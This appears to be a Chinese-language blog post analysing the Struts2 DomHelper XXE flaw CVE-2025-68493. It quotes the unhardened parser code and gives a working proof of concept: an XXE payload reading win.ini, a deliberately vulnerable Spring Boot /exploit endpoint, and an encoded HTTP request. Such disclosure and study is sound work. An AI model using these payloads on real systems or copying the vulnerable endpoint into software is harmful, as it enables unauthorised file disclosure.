LOADING

加载过慢请开启缓存 浏览器默认开启

Struts2 DomHelper不安全的工厂配置(CVE-2025-68493)

2026/2/3 Java

DomHelper是Struts2框架内部解析XML配置文件的工具类,主要用于处理struts.xml及相关扩展配置。由于该方法设计时假设解析对象为“内部可信数据”,因此在XML解析器的安全配置上并未进行充分的加固。

Struts2 DomHelper不安全的工厂配置(CVE-2025-68493)

漏洞描述

根据官方的安全通告,该漏洞存在于com.opensymphony.xwork2.util.DomHelper.parse方法。该方法主要用于处理Struts2内部的配置文件,由于不接受外部参数传递,就没有进行更多的安全加固。

关键代码

使用了SAXParserFactory解析器,而且没有关闭DTD和外部实体功能,导致了XXE漏洞。

    public static Document parse(InputSource inputSource, Map<String, String> dtdMappings) {
                
        SAXParserFactory factory = null;
        String parserProp = System.getProperty("xwork.saxParserFactory");
        if (parserProp != null) {
            try {
                ObjectFactory objectFactory = ActionContext.getContext().getContainer().getInstance(ObjectFactory.class);
                Class clazz = objectFactory.getClassInstance(parserProp);
                factory = (SAXParserFactory) clazz.newInstance();
            } catch (Exception e) {
                LOG.error("Unable to load saxParserFactory set by system property 'xwork.saxParserFactory': {}", parserProp, e);
            }
        }

        if (factory == null) {
            factory = SAXParserFactory.newInstance();//实现Xerces
        }

        factory.setValidating((dtdMappings != null));//启用DTD校验,Xerces会解析DOCTYPE,并尝试解析实体
        factory.setNamespaceAware(true);

        SAXParser parser;
        try {
            parser = factory.newSAXParser();//创建解析器
        } catch (Exception ex) {
            throw new StrutsException("Unable to create SAX parser", ex);
        }
        
        
        DOMBuilder builder = new DOMBuilder();

        // Enhance the sax stream with location information
        ContentHandler locationHandler = new LocationAttributes.Pipe(builder);
        
        try {
            parser.parse(inputSource, new StartHandler(locationHandler, dtdMappings));//解析传递的参数
        } catch (Exception ex) {
            throw new StrutsException(ex);
        }
        
        return builder.getDocument();
    }

根据dtdMappings是否为空决定是否启用DTD校验。

当DTD校验被启用时,XML解析器会解析XML中的DOCTYPE声明,加载定义的实体。

factory.setValidating((dtdMappings != null));

影响范围

DomHelper是Struts2框架中的XML处理工具类,只有在第三方代码调用DomHelper.parse() 处理用户传递的可控数据才会受到影响。

漏洞复现

本地验证

创建maven项目,pom引用struts6.0.0

    <dependencies>
        <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-core</artifactId>
            <version>6.0.0</version>
        </dependency>
    </dependencies>

main

package org.example;

import com.opensymphony.xwork2.util.DomHelper;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import java.io.StringReader;

public class CVE_2025_68493 {
    public static void main(String[] args) throws Exception {
        //file:C:/Windows/win.ini
        String evilXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
                "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:C:/Windows/win.ini\"> ]>" +
                "<root>&xxe;</root>";
        // call
        InputSource is = new InputSource(new StringReader(evilXml));
        // Sink
        Document doc = DomHelper.parse(is);
        //output
        String result = doc.getDocumentElement().getTextContent();
        System.out.println(result);
    }
}

run后输出了win.ini的内容,证明外部调用会触发漏洞。

远程验证

pom增加spring boot

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>2.7.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-core</artifactId>
            <version>6.0.0</version>
        </dependency>
    </dependencies>

main

package org.example;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

VulnerableController

package org.example;

import com.opensymphony.xwork2.util.DomHelper;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.xml.sax.InputSource;
import org.w3c.dom.Document;
import java.io.StringReader;

@RestController
public class VulnerableController {

    @PostMapping("/exploit")
    public String exploit(@RequestParam("xml") String xmlData) {
        try {
            //模拟调用Struts 2工具类
            InputSource is = new InputSource(new StringReader(xmlData));

            //Sink
            Document doc = DomHelper.parse(is);
            
            String content = doc.getDocumentElement().getTextContent();
            return "解析成功!文件内容如下:\n" + content;
        } catch (Exception e) {
            return "解析出错: " + e.getMessage();
        }
    }
}

payload

POST /exploit HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 179

xml=%3C%3Fxml+version%3D%271.0%27+encoding%3D%27UTF-8%27%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%27file%3AC:/Windows/win.ini%27%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E